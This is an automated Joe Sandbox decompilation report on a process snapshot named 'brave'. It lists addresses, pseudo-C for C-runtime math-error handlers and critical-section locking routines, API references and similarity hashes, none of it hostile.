0x7ff6fc4d1153
0x7ff6fc4d1158
0x7ff6fc4d115e
0x7ff6fc4d116c
0x7ff6fc4d1179
0x7ff6fc4d117f
0x7ff6fc4d1188
0x7ff6fc4d1193
0x7ff6fc4d119a
0x7ff6fc4d11a3
0x7ff6fc4d11a5
0x7ff6fc4d11a8
0x7ff6fc4d11ae
0x7ff6fc4d11b4
0x7ff6fc4d11ba
0x7ff6fc4d11c0
0x7ff6fc4d11ce
0x7ff6fc4d11d7
0x7ff6fc4d11e9
0x7ff6fc4d11ec
0x7ff6fc4d11f8
0x7ff6fc4d1208
0x7ff6fc4d1211
0x7ff6fc4d1213
0x7ff6fc4d1227
0x7ff6fc4d122c
0x7ff6fc4d1232
0x7ff6fc4d1238
0x7ff6fc4d1245
0x7ff6fc4d1248
0x7ff6fc4d124d
0x7ff6fc4d1253
0x7ff6fc4d1258
0x7ff6fc4d1267
0x7ff6fc4d1271
0x7ff6fc4d1276
0x7ff6fc4d1280
0x7ff6fc4d1293
0x7ff6fc4d12a0
0x7ff6fc4d12ab
0x7ff6fc4d12ac
0x7ff6fc4d12ad
0x7ff6fc4d12af
0x7ff6fc4d12b8
0x7ff6fc4d12bd
0x7ff6fc4d12c5
0x7ff6fc4d12cc
0x7ff6fc4d12d3
0x7ff6fc4d12d8
0x7ff6fc4d12dd
0x7ff6fc4d12e3
0x7ff6fc4d12ed
0x7ff6fc4d12fa
0x7ff6fc4d1309
0x7ff6fc4d130c
0x7ff6fc4d1318

Strings

%p not found?!?!, xrefs: 00007FF6FC4D132E

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %p not found?!?!
API String ID: 0-11085004
Opcode ID: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction ID: f9cb61a1bf53b154a7dc9026a56750fd95bcc238bdc09922e582d028297fe925
Opcode Fuzzy Hash: c84520f36f3ca7fb9c18e6c0d81bf9ad638b054d908724b1f8b1681b916a0679
Instruction Fuzzy Hash: 17512C21A0A70780FF65BB55F4513B822A2EF49BA8F488475CE6DD27D1FE3CA684C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE530 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00007FF67FF6FC4CE530() {
				intOrPtr* _t8;

				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x50], xmm7");
				asm("inc esp");
				if ( *_t8 - 6 > 0) goto 0xfc4ce61c;
				goto __rax;
			}

0x7ff6fc4ce536
0x7ff6fc4ce53b
0x7ff6fc4ce540
0x7ff6fc4ce549
0x7ff6fc4ce55f

APIs

fprintf.MSVCRT ref: 00007FF6FC4CE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6FC4CE597
Unknown error, xrefs: 00007FF6FC4CE61C

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction ID: c2f1d1f940da7d4dcb1a0702d58a4e77141f92e7b176b10bd0c17b663a365d46
Opcode Fuzzy Hash: aa6086361013ec1200885a2daadc703ccdb69238cbbd2ebd5042acb3d7d1f28a
Instruction Fuzzy Hash: E6018262D08E88C2D7068F1CE4011FA7374FF5979AF555321EA8C662B0EF29D643C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CE610() {

				goto 0xfc4ce56f;
				goto 0xfc4ce56f;
				0;
				return 0;
			}

0x7ff6fc4ce617
0x7ff6fc4ce623
0x7ff6fc4ce62e
0x7ff6fc4ce632

APIs

fprintf.MSVCRT ref: 00007FF6FC4CE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6FC4CE597
Total loss of significance (TLOSS), xrefs: 00007FF6FC4CE610

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction ID: 3bde5418d852fdf2f68b0cb86e123367480cfe414c55fd240ac37a4ef65f3d97
Opcode Fuzzy Hash: 21faa2479aa95e37f926b68196dda3b8b6095bded163c75ada7529037666dbb7
Instruction Fuzzy Hash: E3F04F52D18E8882D342CF1CA4000BB7364FF4D799F195325EA9D665B5EF29D6829700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE600 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CE600() {

				goto 0xfc4ce56f;
				goto 0xfc4ce56f;
				0;
				return 0;
			}

0x7ff6fc4ce617
0x7ff6fc4ce623
0x7ff6fc4ce62e
0x7ff6fc4ce632

APIs

fprintf.MSVCRT ref: 00007FF6FC4CE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6FC4CE597
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF6FC4CE600

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction ID: f892c9ef7053334a4abb9a8fd6954dc9d744402798daa23cfb58755b43c480b6
Opcode Fuzzy Hash: 92d8b121442a0a2cdbb79da8a415f01f4b29b20e9f59e438ac5b68aa7eb4b99e
Instruction Fuzzy Hash: B2F04F52C08E8882D342CF1CA4000BBB364FF4D799F195325EE9D6A1B5EF29D6429700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CE5D0() {

				goto 0xfc4ce56f;
				goto 0xfc4ce56f;
				0;
				return 0;
			}

0x7ff6fc4ce617
0x7ff6fc4ce623
0x7ff6fc4ce62e
0x7ff6fc4ce632

APIs

fprintf.MSVCRT ref: 00007FF6FC4CE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6FC4CE597
Argument domain error (DOMAIN), xrefs: 00007FF6FC4CE5D0

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction ID: c9b68db12fece466e06315b92b002e69502de86545193dd4301ae5758c70a7f6
Opcode Fuzzy Hash: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction Fuzzy Hash: BBF04F52C08E8882D742CF1CA4000BB7364FF4E79DF195325EA9D665A5EF29D6429700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE5F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CE5F0() {

				goto 0xfc4ce56f;
				goto 0xfc4ce56f;
				0;
				return 0;
			}

0x7ff6fc4ce617
0x7ff6fc4ce623
0x7ff6fc4ce62e
0x7ff6fc4ce632

APIs

fprintf.MSVCRT ref: 00007FF6FC4CE5B0

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF6FC4CE5F0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6FC4CE597

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction ID: e817749154f1bca677cb9912b8fb260cafc457422ed35970b9e6d7b9ec4d39fb
Opcode Fuzzy Hash: 3e9574b252411c4c4ea22a5fc3152e866e1922d8c7747fb6b8066ac752191a04
Instruction Fuzzy Hash: A6F04F52C08E8882D742DF1CA4000BB7364FF4D799F295325EA9D665A5EF29D6429700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CE5E0() {

				goto 0xfc4ce56f;
				goto 0xfc4ce56f;
				0;
				return 0;
			}

0x7ff6fc4ce617
0x7ff6fc4ce623
0x7ff6fc4ce62e
0x7ff6fc4ce632

APIs

fprintf.MSVCRT ref: 00007FF6FC4CE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6FC4CE597
Partial loss of significance (PLOSS), xrefs: 00007FF6FC4CE5E0

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction ID: 03aabf4876bb4f2396daa83fbbe1ea28e55bf8b26b187747894bc6c63254beef
Opcode Fuzzy Hash: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction Fuzzy Hash: 38F04F52C08E8882D742CF1CA4000BB7364FF4D799F195326EA9D665A5EF29D6429700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE568 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6FC4CE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6FC4CE597
Argument singularity (SIGN), xrefs: 00007FF6FC4CE568

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction ID: 1112533821303b898afd1f19557184e856fff2769b9e5c32e074d6a36a168146
Opcode Fuzzy Hash: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction Fuzzy Hash: 5EF06212804E8882D302CF2CA4000BB7364FF4D789F155326EE8D26165EF28D6428700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D9550 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D9550(intOrPtr* __rcx) {
				intOrPtr* _t6;

				if (__rcx == 0) goto 0xfc4d95f0;
				_t6 =  *((intOrPtr*)(__rcx));
				if (_t6 == 0) goto 0xfc4d95f0;
				if (_t6 == 0xffffffff) goto 0xfc4d9660;
				if ( *_t6 == 0xc0bab1fd) goto 0xfc4d9590;
				return 0x16;
			}

0x7ff6fc4d955c
0x7ff6fc4d9562
0x7ff6fc4d9568
0x7ff6fc4d9572
0x7ff6fc4d9583
0x7ff6fc4d958e

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6FC4D9597
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D95C1

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction ID: 88fc749cf1769f1fea834392f65e742228e50ef9cbb852224b1fb3466c15be64
Opcode Fuzzy Hash: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction Fuzzy Hash: 6F317073A186428AE7849F35A45476A23A1FB50B6CF584236DE3ACA3C4EF38D985C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D9880 Relevance: 5.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF67FF6FC4D9880(intOrPtr* __rcx, void* __rdx) {
				intOrPtr _t12;
				intOrPtr _t14;
				intOrPtr _t19;
				void* _t27;
				intOrPtr* _t28;

				_t19 =  *__rcx;
				_t28 = __rcx;
				EnterCriticalSection(??);
				_t14 =  *((intOrPtr*)(_t19 + 0xc));
				if (_t14 == 0) goto 0xfc4d9900;
				 *((intOrPtr*)(_t19 + 0xc)) = _t27 - 1;
				LeaveCriticalSection(??);
				if (_t14 != 1) goto 0xfc4d98da;
				if (E00007FF67FF6FC4D8880(1,  *((intOrPtr*)(_t19 + 0xa8)), _t19 + 0x70, _t19 + 0x98) != 0) goto 0xfc4d98e7;
				_t12 = E00007FF67FF6FC4D04E0( *((intOrPtr*)(_t28 + 8)));
				if (_t12 == 0) goto 0xfc4d98ed;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 0x10)))) = _t12;
				return _t12;
			}

0x7ff6fc4d988c
0x7ff6fc4d9893
0x7ff6fc4d9899
0x7ff6fc4d989f
0x7ff6fc4d98a4
0x7ff6fc4d98ac
0x7ff6fc4d98af
0x7ff6fc4d98b8
0x7ff6fc4d98d8
0x7ff6fc4d98de
0x7ff6fc4d98e5
0x7ff6fc4d98eb
0x7ff6fc4d98f9

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6FC4D9899
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D98AF

Part of subcall function 00007FF6FC4D8880: EnterCriticalSection.KERNEL32 ref: 00007FF6FC4D8898
Part of subcall function 00007FF6FC4D8880: ReleaseSemaphore.KERNEL32 ref: 00007FF6FC4D88C6
Part of subcall function 00007FF6FC4D8880: LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D88D3

LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D9913

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$ReleaseSemaphore
String ID:
API String ID: 3630377130-0
Opcode ID: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction ID: 6b9403f3e877db0a357bd03b8c3a48d464174566ae8fd91cd795bc7b3ad2b425
Opcode Fuzzy Hash: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction Fuzzy Hash: 8F314B32A0464296E750AF36E8106A933A1EB95B9CF584131DE2DC73D5EF39E685C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D9410 Relevance: 5.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D9410(intOrPtr* __rcx) {
				intOrPtr* _t6;

				if (__rcx == 0) goto 0xfc4d94a8;
				_t6 =  *((intOrPtr*)(__rcx));
				if (_t6 == 0) goto 0xfc4d94a8;
				if (_t6 == 0xffffffff) goto 0xfc4d9510;
				if ( *_t6 == 0xc0bab1fd) goto 0xfc4d9450;
				return 0x16;
			}

0x7ff6fc4d941a
0x7ff6fc4d9420
0x7ff6fc4d9426
0x7ff6fc4d9430
0x7ff6fc4d9441
0x7ff6fc4d944a

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6FC4D9457
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D947E

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
